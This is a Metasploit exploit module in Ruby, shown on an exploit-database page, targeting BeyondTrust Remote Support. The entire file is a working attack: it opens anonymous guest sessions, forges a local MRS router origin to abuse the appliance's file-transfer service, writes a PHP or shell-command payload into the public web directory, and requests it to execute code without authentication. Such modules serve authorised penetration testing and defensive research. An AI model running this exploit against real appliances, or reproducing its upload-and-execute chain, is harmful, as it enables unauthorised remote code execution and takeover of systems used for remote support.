Exploit databaseDownload source
MSF-linux--http--beyondtrust_rs_mrs_file_upload
BeyondTrust Remote Support MRS Origin Validation File Upload
beyondtrust_rs_mrs_file_upload.rb
Ruby · 9,333 bytes##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Beyondtrust::RemoteSupport
include Msf::Exploit::FileDropper
include Msf::Payload::Php
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Remote Support MRS Origin Validation File Upload',
'Description' => %q{
An anonymous attacker can forge the MRS local router alias and invoke the
appliance-side thin worker's native file-transfer service. This module
uploads a PHP payload into the site's public directory and requests its
extensionless URL. PHP and Unix command payloads execute as the site user.
Tested on Remote Support 24.1.2; other affected releases and fixed builds
have not been established. Public issue-menu sessions and thin chat are required.
},
'Author' => [
'jheysel', # PoC and msf module
],
'License' => MSF_LICENSE,
'References' => [
# Deployment documentation; no public vulnerability advisory is established.
['URL', 'https://docs.beyondtrust.com/rs/docs/va-install'],
['URL', 'https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764/'],
['CVE', '2026-102764']
],
# First local reproduction date. A public disclosure date is not established.
'DisclosureDate' => '2026-10-15',
'Privileged' => false,
'Targets' => [
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php }],
['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :cmd }]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Remote Support base path', '/']),
OptInt.new('ISSUE', [true, 'Public issue-menu identifier', 1])
])
register_advanced_options([
OptString.new('TargetCompanyName', [false, 'Company/site name; automatically discovered when unset']),
OptString.new('TargetServerFQDN', [false, 'Site hostname when company discovery is unavailable']),
OptString.new('WritableDir', [false, 'Override the native public directory; discovered from the worker environment when unset']),
OptInt.new('ProtocolTimeout', [true, 'Overall customer handshake and native upload timeout in seconds', 45])
])
end
def check
version = remote_support_version
return CheckCode::Unknown('Remote Support version discovery failed') unless version
identify_service(version)
return CheckCode::Appears("BeyondTrust Remote Support #{version} detected.") if version <= Rex::Version.new('26.2.3')
CheckCode::Safe("BeyondTrust Remote Support #{version} detected.")
rescue Rex::TimeoutError, IOError => e
elog('Remote Support identification failed', error: e)
CheckCode::Unknown("Remote Support identification failed: #{e.message}")
end
def exploit
fail_with(Failure::BadConfig, 'ISSUE and ProtocolTimeout must be positive') unless datastore['ISSUE'].positive? && datastore['ProtocolTimeout'].positive?
# Discover and report the application version even when AutoCheck is disabled.
version = remote_support_version
identify_service(version || 'unknown')
# Resolve the company or site hostname used to route both customer WebSocket connections.
site = get_site_info
fail_with(Failure::UnexpectedReply, 'Could not discover the Remote Support company/site') unless site.is_a?(Hash)
# Keep the uploaded filename and HTTP trigger tied to the same randomized basename.
basename = Rex::Text.rand_text_alpha_lower(16)
upload_uri = normalize_uri(target_uri.path, basename)
print_status('Creating anonymous customer sessions and the appliance-side thin worker')
# Bound session creation, handshakes, worker/path discovery, and the file transfer together.
::Timeout.timeout(datastore['ProtocolTimeout']) do
# Each public POST /api/start_session returns a fresh guest session key; no account login is needed.
# native_key identifies our MRS customer, which sends requests and transfers file bytes.
# thin_key identifies a separate thin customer whose appliance-side worker accesses the filesystem.
native_key = remote_support_guest(issue: datastore['ISSUE'])
thin_key = remote_support_guest(issue: datastore['ISSUE'])
# Open the native /nw transport and complete its customer and MRS handshakes with native_key.
# prepared contains the MRS client and a mailbox handler for Director responses.
@native_wire = remote_support_transport(site: site)
prepared = remote_support_mrs(wire: @native_wire, key: native_key)
# Open the thin /nw transport and authenticate thin_key to start thin-scc on the appliance.
# remote_support_thin sends the thin-client environment and returns a thread that services acknowledgements.
@thin_wire = remote_support_transport(site: site, thin: true)
@thin_thread = remote_support_thin(wire: @thin_wire, key: thin_key)
# Query Director.GetGatewaySessionValues through the native client using thin_key to find that guest's
# worker. The result supplies its main dispatcher address and conference key (ckey) for file requests.
worker = remote_support_worker(**prepared, key: thin_key)
# Honor an explicit web-root override; otherwise derive the installation path from the worker.
directory = datastore['WritableDir'].presence&.delete_suffix('/')
unless directory
print_status('Discovering the public directory from the thin worker environment')
# Read /proc/self/environ via the native file service, resolve BG_app_root (or the brain socket's
# installation root), and append /app/www/public to locate the PHP document root.
directory = remote_support_public_directory(client: prepared[:client], worker: worker)
end
upload_path = "#{directory}/#{basename}.php"
print_status("Uploading PHP to #{upload_path}")
# Both targets write PHP: use PHP payloads directly, or wrap a Unix command with php_exec_cmd.
if target['Type'] == :php
payload_file_content = payload.encoded
payload_file_content = "<?php #{payload_file_content}" unless payload_file_content.include?('<?php')
else
payload_file_content = php_exec_cmd(payload.encoded)
end
# Track the path before transfer so FileDropper also covers incomplete uploads.
register_file_for_cleanup(upload_path)
# remote_support_write forges source router 1 so the worker accepts LocalFileTransfer as local.
# ftsName=local selects the appliance filesystem; DownloadAnonymousFiles makes the worker fetch
# our bytes over the existing MRS client and write them to upload_path, then acknowledge completion.
remote_support_write(client: prepared[:client], worker: worker, path: upload_path, content: payload_file_content)
end
# Record the confirmed native file write before requesting payload execution.
report_vuln(host: rhost, port: rport, proto: 'tcp', name: name, refs: references, info: 'Forged local MRS origin completed a native file transfer')
print_status('Requesting the extensionless PHP endpoint')
# Apache rejects direct .php URLs, but rewrites this extensionless path to the uploaded PHP file.
send_request_cgi('method' => 'GET', 'uri' => upload_uri)
rescue ::Timeout::Error, Rex::TimeoutError => e
elog('Remote Support native transfer timed out', error: e)
fail_with(Failure::TimeoutExpired, 'The Remote Support native transfer timed out')
rescue ProtocolError => e
elog('Remote Support protocol operation failed', error: e)
fail_with(Failure::UnexpectedReply, e.message)
rescue Rex::Proto::Http::WebSocket::WebSocketError, IOError => e
elog('Remote Support connection failed', error: e)
fail_with(Failure::Unreachable, "Remote Support connection failed: #{e.message}")
end
# Associate AutoCheck's inherited reporting and explicit exploit reporting with
# the same identified service, including runs with AutoCheck disabled.
def report_vuln(options = {})
super(options.merge(service: @beyondtrust_service))
end
def cleanup
[@thin_wire, @native_wire].compact.each do |wire|
wire.close
rescue IOError => e
vprint_warning("Closing the customer transport failed: #{e.message}")
elog('Closing the Remote Support transport failed', error: e)
end
@thin_thread&.kill
ensure
super
end
private
def identify_service(version)
@beyondtrust_service = report_service(
host: rhost, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http',
info: "BeyondTrust Remote Support #{version} (#{target_uri.path})"
)
end
end